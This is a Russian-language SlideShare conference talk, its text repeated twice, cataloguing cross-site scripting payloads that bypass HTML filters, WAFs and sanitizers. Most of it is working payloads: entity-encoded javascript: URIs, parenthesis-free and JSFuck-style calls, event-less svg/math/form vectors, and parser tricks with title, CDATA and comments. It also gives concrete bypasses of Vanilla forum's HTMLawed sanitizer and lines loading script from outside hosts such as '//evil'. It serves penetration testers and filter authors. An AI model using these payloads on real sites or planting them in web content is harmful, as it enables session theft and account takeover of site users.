SlideShare a Scribd company logo
XSS. Обходы
фильтров и защит.
Антон Лопаницын
@i_bo0om
Игорь Сак-Саковский
@psych0tr1a
Ты – один, а событий браузера много, найди их все!
Часто пропускают события вида onplay и другие, которые были
введены в HTML5.
Внедрить собственный сценарий с внешнего сайта - победа
Импорт другой страницы
<link rel=“import” href=“//mysite”>
Переопределение базового адреса текущего документа
<base href=“//mysite”>
Все относительные ссылки после вызова base будут
вызываться из указанного источника.
• Что попадает в атрибуты можно преобразовать в другое
представление символов – HTML сущности (мнемоники)
Например:
<a href=“javascript&colon;alert()”>
&colon; &#x3A; &#58;
Некоторые entities игнорируются вовсе
Табуляция &Tab; &#09;
Перенос строки &NewLine; &#x0A; &#10;
<iframe src=“jav
Ascr&Tab;ipt&colon;alert()”></iframe>
Перед шестнадцатеричными и десятичными сущностями могут
быть нули.
А перед &#0-9; вовсе и не быть нулей
Например &#9; - валидная табуляция
А еще точка с запятой не обязательна, если следующий
после entity символ не входит в его группу символов 
<iframe src="j av&NewLine;a
s&#10;cri&#9pt&#x00000000000003A;alert()"></iframe>
https://jsfiddle.net/7ercn8zh/
И как я уже говорил, во всех атрибутах
<a
href="//&bsol;&sol;&commat;g&NoBreak;o&ZeroWidthSpace;o&z
wnj;g&zwj;l&shy;e&NewLine;.&Tab;com">clickme</a>
Это ссылка на google.com
В протоколе data не обязательно указывать тип контента
<script src=data:,alert()>
Для выполнения функции не обязательно использовать скобки!
… И точку
… И знак равно
… И буквы вообще
document.cookie == document[‘cookie’]
document[‘location’]=javascript:alert()
Точки не нужны
• Его можно использовать для вызова функций
<script>alert`1`</script>
• Его можно использовать для передачи строки
document[`cookie`]
• Им можно «вырезать» неугодные нам части при двух уязвимых
параметрах, или если наши данные вставляются 2 раза.
Бэктик – твой лучший друг
document.documentElement.innerHTML=location.hash
(пишем на страницу данные после # в ссылке)
https://example.com/page.html#<script>alert()</script>
Отлично работают в паре
Все что между /слэшами/ - регулярное выражение
alert(/1/)
Добавление к регулярному выражению .source – возвращает
оригинальную строку
eval(/alert()/.source)
Обращения в контексте текущего домена не будет заблокировано
хромом
Например если попытаться вызвать <script src=/test.js>
Импорт на импорт
Если в пути у сайта есть XSS, как часто бывает:
"Страницы /<script>alert()</script>/index.html не существует!”
Ты спокойно можешь импортировать xss в текущую страницу
<link rel=import href="/<script>alert()</script>/index.html">
Импорт на импорт
example.com
/<link rel=import href="/<script>alert()</script>/index.html">/index.html
Импорт на импорт
Импортом можно вызывать ранее недоступные нам функции
<link rel=“import” href=“/page.html”>
(страница, где подключается jquery)
=>
<svg onload=$.GetScript(‘//evil’)>
Загруженный файл (например, изображение) может быть
интерпретирован как js*
Но еще круче, любой загруженный файл может быть
интерпретирован как html
?id=“><link rel=import href=“/static/userfile/myphoto.jpg”>
Внутри строк js тоже много фич, например перевод символов в
другие представления (x22, u0022), неявные вызовы функций
• http://utf-8.jp/public/jjencode.html
Вызов функции с помощью кучи спецсимволов))
• https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html
Вызов функции с помощью символов [+|>]
• http://www.jsfuck.com/
Вызов функции с помощью символов ()+[]!
Ну и прочая наркомания
• onerror=eval;throw'=alertx281x29’
• toString=alert;window+''
• setTimeout`confirmu0028document.domainx29`
• set.constructor`alertx28document.domainx29```
XSS. Обходы фильтров и защит.
Где можно встретить HTML фильтры?
• WYSIWYG редакторы
• WAFы
• WEB почта
• И ещё где-нибудь в интернете
Какие бывают фильтры?
• Чёрный список
<randomtag onevent="test">randomtag</randomtag>
<randomtag>randomtag text</randomtag> Randomtag text
HTML code
• Белый список
<randomtag onevent="test">randomtag text</randomtag>
Фаззинг HTML
• Фильтр по чёрному списку
- Фаззим атрибуты событий если пропустило onevent
- Фаззим XSS вектора без событий
- Фаззим HTML теги
- Фаззим HTML теги и особенности их фильтрации
• Фильтр по белому списку
- Фаззим XSS вектора без событий
- Фаззим HTML теги и особенности их фильтрации
XSS вектора без событий
<!-- <a> -->
Атрибут href
<a href="javascript:alert(1)">click</a>
<a target="random" href="data:text/html,<script>opener.alert(1)</script>">click</a>
<!-- <base> -->
Атрибут href
<base href="javascript:alert(1)">
<a href="#">click</a>
</base>
<!-- <button> -->
Атрибут formaction
<form>
<button formaction="javascript:alert(1)">click</button>
</form>
XSS вектора без событий
<!-- <embed> [FireFox only] -->
Атрибут src
<embed src="javascript:alert(1)"></embed>
<!-- <form> -->
Атрибут action
<form action="javascript:alert(1)">
<button>click</button>
</form>
<!-- <iframe> -->
Атрибут src
<iframe src="javascript:alert(1)"></iframe>
Атрибут srcdoc
<iframe srcdoc="<script>alert(1)</script>"></iframe>
XSS вектора без событий
<!-- <input> -->
Атрибут formaction
<form>
<input type="submit" formaction="javascript:alert(1)" value="click" />
<input type="image" src="https://google.com/favicon.ico" formaction="javascript:alert(1)" />
</form>
<!-- <isindex> [Safari only] -->
Атрибут action
<isindex action="javascript:alert(1)" type="submit" value="click"></isindex>
<isindex action="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex>
Атрибут formaction
<isindex formaction="javascript:alert(1)" type="submit" value="click"></isindex>
<isindex formaction="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex>
XSS вектора без событий
<!-- <link> [Chrome only] -->
Атрибут href
<link rel="import" href="data:,<script>alert(1)</script>">
<!-- <math> [FireFox only] -->
Атрибут xml:base
<math xml:base="javascript:alert(1)//">
<mrow href="#">click</mrow>
<mtext>
<iframe src="#"></iframe>
</mtext>
</math>
Атрибут xlink:href
<math>
<randomtag xlink:href="javascript:alert(1)">click</randomtag>
</math>
XSS вектора без событий
<!-- <object> -->
Атрибут data [FireFox only]
<object data="javascript:alert(1)">
+ Тег <param> и аттрибут value
<object allowscriptaccess="always">
<param name="src" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="movie" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="code" value="https://html5sec.org/test.swf">
</object>
<object allowscriptaccess="always">
<param name="url" value="https://html5sec.org/test.swf">
</object>
XSS вектора без событий
<!-- <svg> -->
Аттрибут xml:base [FireFox only]
<svg xml:base="javascript:alert(1)//">
<a href="#">
<circle cx="100" cy="75" r="50"></circle>
</a>
<desc>
<iframe src="#"></iframe>
</desc>
</svg>
+ Тег <script> и аттрибут xlink:href
<svg>
<script xlink:href="data:,alert(1)"></script>
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <a> и аттрибут xlink:href
<svg>
<a xlink:href="javascript:alert(1)">click</a>
</svg>
+ Тег <use> и аттрибут xlink:href [FireFox only]
<svg>
<use
xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ic3ZnaWQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8
yMDAwL3N2ZyI+Cgk8Zm9yZWlnbk9iamVjdD4KCQk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE
5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+Cgk8L2ZvcmVpZ25PYmplY3Q+Cjw
vc3ZnPg==#svgid" />
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <animate> и аттрибут from
<svg>
<a>
<animate attributeName="href" from="javascript:alert(1)" to="to" dur="100" begin="0"
repeatCount=1 />
<circle cx="150" cy="100" r=50></circle>
</a>
</svg>
+ Тег <animate> и аттрибут to
<svg>
<a>
<animate attributeName="href" from="" to="javascript:alert(1)" repeatCount="1" />
<circle cx="150" cy="100" r=50></circle>
</a>
</svg>
XSS вектора без событий
<!-- <svg> -->
+ Тег <set> и аттрибут to
<svg>
<a>
<set attributeName="href" from="" to="javascript:alert(1)" attributeType="XML"/>
<circle cx="100" cy="75" r="50"></circle>
</a>
</svg>
Особенности фильтрации.
Волшебные тэги
Конец
Особенности фильтрации.
<select><option>select</option></select>
<math>math</math>
<svg>svg</svg>
Волшебные теги
<style><test test="<test>">test</test></style>
Волшебный плейнтекст который невозможно закрыть
<plaintext><test test="<test>">test</test>
Коментарии
<!--<test test="<test>">test</test>-->
<![CDATA[<test test="<test>">test</test>]]>
<!<test test="<test>">test<!</test>
<?<test test="<test>">test<?</test>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
<title><test test=“<test>”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов.
• XSS вектор:
<title><test test=“<test>”></title>
<title><img alt=“</title><svg/onload=alert(1)>”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
<title><test test=“&lt;test&gt;”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
<title><test test=“&lt;test&gt;”></title>
Особенности фильтрации.
• Не фильтруется содержимое одного из волшебных тегов, но
значение атрибутов энкодится в сущности.
- Фаззим другие атрибуты
- Используем теги math/svg/title
<title><test test=“&lt;test&gt;”></title>
<math>
<title>
<i>
<script>alert(1)</script>
</i>
</title>
</math>
Особенности фильтрации.
<svg>
<title>
<script>alert(2)</script>
</title>
</svg>
<select>
<title>
<script>alert(3)</script>
</title>
</select>
Особенности фильтрации.
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
Особенности фильтрации.
• Парсер CSS
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
Особенности фильтрации.
• Парсер CSS
- Фаззинг свойств CSS
- Применяем теги math/svg/title
<title>&lt;test test=“&lt;test&gt;"&gt;</title>
<style><!-- error --></style>
<style>
body {
%color%:"<test test=test>";
}
</style>
Особенности фильтрации.
• Волшебные теги вернулись отфильтрованными, но содержимое
коментариев нет.
<title>&lt;test test=“&lt;test&gt;”&gt;</title>
<!--<test test="<test>">test</test>-->
<![CDATA[<test test="<test>">test</test>]]>
<?<test test="<test>">test<!</test>
Особенности фильтрации.
• Многострочный комментарий внутри волшебного тега внутри
SVG.
• [1] - title, desc, foreignObject
• [2] - title, style, xmp, textarea, iframe, noframes, noembed, noscript
<svg>
<title [1]>
<title [2]>
<!--</title></title><script>alert(1)</script>-->
</title>
</title>
</svg>
Особенности фильтрации.
• Секция CDATA в HTML
<![CDATA[<script>alert(1)</script>]]>
Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
<![CDATA[<script>alert(1)</script>]]>
<![CDATA[><script>alert(1)</script>]]>
Особенности фильтрации.
• Секция CDATA в HTML
• XSS вектор:
• Загадочные комментарии и трюк с волшебными тегами
<![CDATA[<script>alert(1)</script>]]>
<title><?<img alt=“<?</title><?<iframe src=javascript:alert(1)>”></title>
<![CDATA[><script>alert(1)</script>]]>
Особенности фильтрации.
• Фаззинг вложенных тегов.
• Реальные находки в Vanilla forum (HTMLawed)
- Vanilla < 2.1.1 (реузльтат <img alt="<img qwe">)
XSS вектор:
<%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%="<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>">
<%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%='<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>'>
<img src="src" alt="image">"&gt;<br>img alt="<img qwe" src="src">
<img alt="<img onerror=alert(1)//">
Особенности фильтрации.
- Vanilla < 2.2.1 (результат <font color='<img//asd'>)
XSS вектор:
span style="color: <img//asd;">
<font color='<img//onerror="alert(1)"src=s'>
Подписываемся на
канал, ставим
лайки.
Антон Лопаницын
@i_bo0om
Игорь Сак-Саковский
@psych0tr1a

More Related Content

PPTX
KazHackStan - "><script>alert()</script>
PDF
Максим Кочкин (Wamba)
KEY
Securing Rails Applications
PDF
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
PDF
Артём Поликарпов - Фоторама - простая и мощная галерея на JS | Happydev'12
PPTX
Application security? Firewall it!
PPTX
А не поговорить ли нам о XSS!
PDF
Ihor Bliumental – Is There Life Outside OWASP Top-10
KazHackStan - "><script>alert()</script>
Максим Кочкин (Wamba)
Securing Rails Applications
Безопасный кодинг. Хакеры нас не достанут (Максим “Arrim” Попов)
Артём Поликарпов - Фоторама - простая и мощная галерея на JS | Happydev'12
Application security? Firewall it!
А не поговорить ли нам о XSS!
Ihor Bliumental – Is There Life Outside OWASP Top-10

What's hot (18)

PDF
Максим Ширшин "SVARX, или Борьба с большими формами"
PPTX
тестирование защищенности веб приложений
PPTX
Тестирование уязвимостей веб приложений
PDF
Maksim Shirshin
PDF
Ihor Bliumental - Collision CORS
PDF
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftware
PPTX
Waf.js: как защищать веб-приложения с использованием JavaScript
PPT
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
PDF
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
PDF
Основые безопасности WordPress
PDF
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложений
KEY
Безопасность веб-приложений: starter edition
PPT
ярослав рабоволюк
PDF
Risspa domxss
PDF
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"
PPTX
Sql инъекции в тестировании
PDF
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
PDF
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Максим Ширшин "SVARX, или Борьба с большими формами"
тестирование защищенности веб приложений
Тестирование уязвимостей веб приложений
Maksim Shirshin
Ihor Bliumental - Collision CORS
Как сделать Instagram в браузере — Дмитрий Дудин, xbSoftware
Waf.js: как защищать веб-приложения с использованием JavaScript
Безопасность веб-приложений. Так ли опасна виртуальная угроза?
Доклад Станислава Еремина на конференции LoveQA. "Системы обнаружения уязвимо...
Основые безопасности WordPress
Стажировка-2015. Разработка. Занятие 11. Безопасность web-приложений
Безопасность веб-приложений: starter edition
ярослав рабоволюк
Risspa domxss
Алексей Байтин, Алексей Осипенко "Проверка правописания в веб-приложениях"
Sql инъекции в тестировании
ЄВГЕНІЙ ТОЛЧИНСКИЙ «Як manual QA може протестувати проект з боку security» QA...
Как мануальный тестировщик может базово протестировать безопасность, Евгений ...
Ad

Similar to XSS. Обходы фильтров и защит. (20)

PDF
Лекция 4 Client-side
PDF
03 - Web-технологии. Язык разметки HTML
PPT
jQuery: быстрая разработка веб-интерфейсов на JavaScript
PPTX
Web осень 2013 лекция 4
PPT
Эффективный AJAX
PDF
J query tutorial-for-beginners-1.0.2
PDF
рабочая тетрадь Html
PPT
Web осень 2012 лекция 9
PDF
J query шевчук
PPTX
Web страницы.язык html
PPT
Web весна 2012 лекция 9
PDF
Jquery_tutorial_for-beginners
PDF
Svyatoslav Login "360 View of XSS"
PPT
5793.ppt
PPT
Web весна 2012 лекция 8
PPTX
I tmozg js_school
PDF
Роман Комаров — «Механизм работы браузера»
PPTX
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
PPT
Web весна 2013 лекция 10
Лекция 4 Client-side
03 - Web-технологии. Язык разметки HTML
jQuery: быстрая разработка веб-интерфейсов на JavaScript
Web осень 2013 лекция 4
Эффективный AJAX
J query tutorial-for-beginners-1.0.2
рабочая тетрадь Html
Web осень 2012 лекция 9
J query шевчук
Web страницы.язык html
Web весна 2012 лекция 9
Jquery_tutorial_for-beginners
Svyatoslav Login "360 View of XSS"
5793.ppt
Web весна 2012 лекция 8
I tmozg js_school
Роман Комаров — «Механизм работы браузера»
QA Fest 2015. Юрий Федько. XSS - от простого к сложному!
Web весна 2013 лекция 10
Ad

More from Дмитрий Бумов (20)

PDF
2000day in Safari
PPTX
Partyhack 3.0 - Telegram bugbounty writeup
PPTX
ZeroNights 2018 | I <"3 XSS
PDF
ZeroNights 2018 | Race Condition Tool
PDF
Offzone | Another waf bypass
PDF
Defcon Russia 2017 - Bo0oM vs Шурыгина
PDF
DC7499 - Param-pam-pam
PPTX
VolgaCTF 2018 - Neatly bypassing CSP
PDF
Отравление кэша веб-приложений
PPTX
RIW 2017 | Все плохо
PPTX
Skolkovo школа | Капельку о MITM
PPTX
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
PPTX
Armsec 2017 | 2 bugs 1 safari
PPTX
KazHackStan 2017 | Tracking
PPTX
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
PPTX
Разведка боем
PPTX
VolgaCTF | Bo0oM - DNS and attacks
PPTX
пресс конференция 15.06.2016. безопасность платежных систем и банков
PPT
Zeronights 2013 - воруем домены
2000day in Safari
Partyhack 3.0 - Telegram bugbounty writeup
ZeroNights 2018 | I <"3 XSS
ZeroNights 2018 | Race Condition Tool
Offzone | Another waf bypass
Defcon Russia 2017 - Bo0oM vs Шурыгина
DC7499 - Param-pam-pam
VolgaCTF 2018 - Neatly bypassing CSP
Отравление кэша веб-приложений
RIW 2017 | Все плохо
Skolkovo школа | Капельку о MITM
PHDAYS 2017 | Зато удобно! Утечки из-за ботов в telegram
Armsec 2017 | 2 bugs 1 safari
KazHackStan 2017 | Tracking
Zeronights 2016 | A blow under the belt. How to avoid WAF/IPS/DLP | Удар ниже...
Разведка боем
VolgaCTF | Bo0oM - DNS and attacks
пресс конференция 15.06.2016. безопасность платежных систем и банков
Zeronights 2013 - воруем домены

XSS. Обходы фильтров и защит.

  • 1. XSS. Обходы фильтров и защит. Антон Лопаницын @i_bo0om Игорь Сак-Саковский @psych0tr1a
  • 2. Ты – один, а событий браузера много, найди их все! Часто пропускают события вида onplay и другие, которые были введены в HTML5.
  • 3. Внедрить собственный сценарий с внешнего сайта - победа
  • 4. Импорт другой страницы <link rel=“import” href=“//mysite”>
  • 5. Переопределение базового адреса текущего документа <base href=“//mysite”> Все относительные ссылки после вызова base будут вызываться из указанного источника.
  • 6. • Что попадает в атрибуты можно преобразовать в другое представление символов – HTML сущности (мнемоники)
  • 8. Некоторые entities игнорируются вовсе Табуляция &Tab; &#09; Перенос строки &NewLine; &#x0A; &#10;
  • 10. Перед шестнадцатеричными и десятичными сущностями могут быть нули. А перед &#0-9; вовсе и не быть нулей Например &#9; - валидная табуляция
  • 11. А еще точка с запятой не обязательна, если следующий после entity символ не входит в его группу символов 
  • 13. И как я уже говорил, во всех атрибутах <a href="//&bsol;&sol;&commat;g&NoBreak;o&ZeroWidthSpace;o&z wnj;g&zwj;l&shy;e&NewLine;.&Tab;com">clickme</a> Это ссылка на google.com
  • 14. В протоколе data не обязательно указывать тип контента <script src=data:,alert()>
  • 15. Для выполнения функции не обязательно использовать скобки! … И точку … И знак равно … И буквы вообще
  • 17. • Его можно использовать для вызова функций <script>alert`1`</script> • Его можно использовать для передачи строки document[`cookie`] • Им можно «вырезать» неугодные нам части при двух уязвимых параметрах, или если наши данные вставляются 2 раза. Бэктик – твой лучший друг
  • 18. document.documentElement.innerHTML=location.hash (пишем на страницу данные после # в ссылке) https://example.com/page.html#<script>alert()</script> Отлично работают в паре
  • 19. Все что между /слэшами/ - регулярное выражение alert(/1/) Добавление к регулярному выражению .source – возвращает оригинальную строку eval(/alert()/.source)
  • 20. Обращения в контексте текущего домена не будет заблокировано хромом Например если попытаться вызвать <script src=/test.js> Импорт на импорт
  • 21. Если в пути у сайта есть XSS, как часто бывает: "Страницы /<script>alert()</script>/index.html не существует!” Ты спокойно можешь импортировать xss в текущую страницу <link rel=import href="/<script>alert()</script>/index.html"> Импорт на импорт
  • 23. Импортом можно вызывать ранее недоступные нам функции <link rel=“import” href=“/page.html”> (страница, где подключается jquery) => <svg onload=$.GetScript(‘//evil’)>
  • 24. Загруженный файл (например, изображение) может быть интерпретирован как js* Но еще круче, любой загруженный файл может быть интерпретирован как html ?id=“><link rel=import href=“/static/userfile/myphoto.jpg”>
  • 25. Внутри строк js тоже много фич, например перевод символов в другие представления (x22, u0022), неявные вызовы функций
  • 26. • http://utf-8.jp/public/jjencode.html Вызов функции с помощью кучи спецсимволов)) • https://syllab.fr/projets/experiments/xcharsjs/5chars.pipeline.html Вызов функции с помощью символов [+|>] • http://www.jsfuck.com/ Вызов функции с помощью символов ()+[]! Ну и прочая наркомания
  • 27. • onerror=eval;throw'=alertx281x29’ • toString=alert;window+'' • setTimeout`confirmu0028document.domainx29` • set.constructor`alertx28document.domainx29```
  • 29. Где можно встретить HTML фильтры? • WYSIWYG редакторы • WAFы • WEB почта • И ещё где-нибудь в интернете
  • 30. Какие бывают фильтры? • Чёрный список <randomtag onevent="test">randomtag</randomtag> <randomtag>randomtag text</randomtag> Randomtag text HTML code • Белый список <randomtag onevent="test">randomtag text</randomtag>
  • 31. Фаззинг HTML • Фильтр по чёрному списку - Фаззим атрибуты событий если пропустило onevent - Фаззим XSS вектора без событий - Фаззим HTML теги - Фаззим HTML теги и особенности их фильтрации • Фильтр по белому списку - Фаззим XSS вектора без событий - Фаззим HTML теги и особенности их фильтрации
  • 32. XSS вектора без событий <!-- <a> --> Атрибут href <a href="javascript:alert(1)">click</a> <a target="random" href="data:text/html,<script>opener.alert(1)</script>">click</a> <!-- <base> --> Атрибут href <base href="javascript:alert(1)"> <a href="#">click</a> </base> <!-- <button> --> Атрибут formaction <form> <button formaction="javascript:alert(1)">click</button> </form>
  • 33. XSS вектора без событий <!-- <embed> [FireFox only] --> Атрибут src <embed src="javascript:alert(1)"></embed> <!-- <form> --> Атрибут action <form action="javascript:alert(1)"> <button>click</button> </form> <!-- <iframe> --> Атрибут src <iframe src="javascript:alert(1)"></iframe> Атрибут srcdoc <iframe srcdoc="<script>alert(1)</script>"></iframe>
  • 34. XSS вектора без событий <!-- <input> --> Атрибут formaction <form> <input type="submit" formaction="javascript:alert(1)" value="click" /> <input type="image" src="https://google.com/favicon.ico" formaction="javascript:alert(1)" /> </form> <!-- <isindex> [Safari only] --> Атрибут action <isindex action="javascript:alert(1)" type="submit" value="click"></isindex> <isindex action="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex> Атрибут formaction <isindex formaction="javascript:alert(1)" type="submit" value="click"></isindex> <isindex formaction="javascript:alert(1)" type="image" src="https://google.com/favicon.ico"></isindex>
  • 35. XSS вектора без событий <!-- <link> [Chrome only] --> Атрибут href <link rel="import" href="data:,<script>alert(1)</script>"> <!-- <math> [FireFox only] --> Атрибут xml:base <math xml:base="javascript:alert(1)//"> <mrow href="#">click</mrow> <mtext> <iframe src="#"></iframe> </mtext> </math> Атрибут xlink:href <math> <randomtag xlink:href="javascript:alert(1)">click</randomtag> </math>
  • 36. XSS вектора без событий <!-- <object> --> Атрибут data [FireFox only] <object data="javascript:alert(1)"> + Тег <param> и аттрибут value <object allowscriptaccess="always"> <param name="src" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="movie" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="code" value="https://html5sec.org/test.swf"> </object> <object allowscriptaccess="always"> <param name="url" value="https://html5sec.org/test.swf"> </object>
  • 37. XSS вектора без событий <!-- <svg> --> Аттрибут xml:base [FireFox only] <svg xml:base="javascript:alert(1)//"> <a href="#"> <circle cx="100" cy="75" r="50"></circle> </a> <desc> <iframe src="#"></iframe> </desc> </svg> + Тег <script> и аттрибут xlink:href <svg> <script xlink:href="data:,alert(1)"></script> </svg>
  • 38. XSS вектора без событий <!-- <svg> --> + Тег <a> и аттрибут xlink:href <svg> <a xlink:href="javascript:alert(1)">click</a> </svg> + Тег <use> и аттрибут xlink:href [FireFox only] <svg> <use xlink:href="data:image/svg+xml;base64,PHN2ZyBpZD0ic3ZnaWQiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8 yMDAwL3N2ZyI+Cgk8Zm9yZWlnbk9iamVjdD4KCQk8ZW1iZWQgeG1sbnM9Imh0dHA6Ly93d3cudzMub3JnLzE 5OTkveGh0bWwiIHNyYz0iamF2YXNjcmlwdDphbGVydChsb2NhdGlvbikiIC8+Cgk8L2ZvcmVpZ25PYmplY3Q+Cjw vc3ZnPg==#svgid" /> </svg>
  • 39. XSS вектора без событий <!-- <svg> --> + Тег <animate> и аттрибут from <svg> <a> <animate attributeName="href" from="javascript:alert(1)" to="to" dur="100" begin="0" repeatCount=1 /> <circle cx="150" cy="100" r=50></circle> </a> </svg> + Тег <animate> и аттрибут to <svg> <a> <animate attributeName="href" from="" to="javascript:alert(1)" repeatCount="1" /> <circle cx="150" cy="100" r=50></circle> </a> </svg>
  • 40. XSS вектора без событий <!-- <svg> --> + Тег <set> и аттрибут to <svg> <a> <set attributeName="href" from="" to="javascript:alert(1)" attributeType="XML"/> <circle cx="100" cy="75" r="50"></circle> </a> </svg>
  • 42. Особенности фильтрации. <select><option>select</option></select> <math>math</math> <svg>svg</svg> Волшебные теги <style><test test="<test>">test</test></style> Волшебный плейнтекст который невозможно закрыть <plaintext><test test="<test>">test</test> Коментарии <!--<test test="<test>">test</test>--> <![CDATA[<test test="<test>">test</test>]]> <!<test test="<test>">test<!</test> <?<test test="<test>">test<?</test>
  • 43. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов. <title><test test=“<test>”></title>
  • 44. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов. • XSS вектор: <title><test test=“<test>”></title> <title><img alt=“</title><svg/onload=alert(1)>”></title>
  • 45. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. <title><test test=“&lt;test&gt;”></title>
  • 46. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. - Фаззим другие атрибуты <title><test test=“&lt;test&gt;”></title>
  • 47. Особенности фильтрации. • Не фильтруется содержимое одного из волшебных тегов, но значение атрибутов энкодится в сущности. - Фаззим другие атрибуты - Используем теги math/svg/title <title><test test=“&lt;test&gt;”></title> <math> <title> <i> <script>alert(1)</script> </i> </title> </math>
  • 50. Особенности фильтрации. • Парсер CSS <title>&lt;test test=“&lt;test&gt;"&gt;</title> <style><!-- error --></style>
  • 51. Особенности фильтрации. • Парсер CSS - Фаззинг свойств CSS - Применяем теги math/svg/title <title>&lt;test test=“&lt;test&gt;"&gt;</title> <style><!-- error --></style> <style> body { %color%:"<test test=test>"; } </style>
  • 52. Особенности фильтрации. • Волшебные теги вернулись отфильтрованными, но содержимое коментариев нет. <title>&lt;test test=“&lt;test&gt;”&gt;</title> <!--<test test="<test>">test</test>--> <![CDATA[<test test="<test>">test</test>]]> <?<test test="<test>">test<!</test>
  • 53. Особенности фильтрации. • Многострочный комментарий внутри волшебного тега внутри SVG. • [1] - title, desc, foreignObject • [2] - title, style, xmp, textarea, iframe, noframes, noembed, noscript <svg> <title [1]> <title [2]> <!--</title></title><script>alert(1)</script>--> </title> </title> </svg>
  • 54. Особенности фильтрации. • Секция CDATA в HTML <![CDATA[<script>alert(1)</script>]]>
  • 55. Особенности фильтрации. • Секция CDATA в HTML • XSS вектор: <![CDATA[<script>alert(1)</script>]]> <![CDATA[><script>alert(1)</script>]]>
  • 56. Особенности фильтрации. • Секция CDATA в HTML • XSS вектор: • Загадочные комментарии и трюк с волшебными тегами <![CDATA[<script>alert(1)</script>]]> <title><?<img alt=“<?</title><?<iframe src=javascript:alert(1)>”></title> <![CDATA[><script>alert(1)</script>]]>
  • 57. Особенности фильтрации. • Фаззинг вложенных тегов. • Реальные находки в Vanilla forum (HTMLawed) - Vanilla < 2.1.1 (реузльтат <img alt="<img qwe">) XSS вектор: <%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%="<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>"> <%тег%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f]%атр%='<%т2%[0x0c, 0x0d, 0x0a, 0x09, 0x20, 0x2f] %атр2%>'> <img src="src" alt="image">"&gt;<br>img alt="<img qwe" src="src"> <img alt="<img onerror=alert(1)//">
  • 58. Особенности фильтрации. - Vanilla < 2.2.1 (результат <font color='<img//asd'>) XSS вектор: span style="color: <img//asd;"> <font color='<img//onerror="alert(1)"src=s'>
  • 59. Подписываемся на канал, ставим лайки. Антон Лопаницын @i_bo0om Игорь Сак-Саковский @psych0tr1a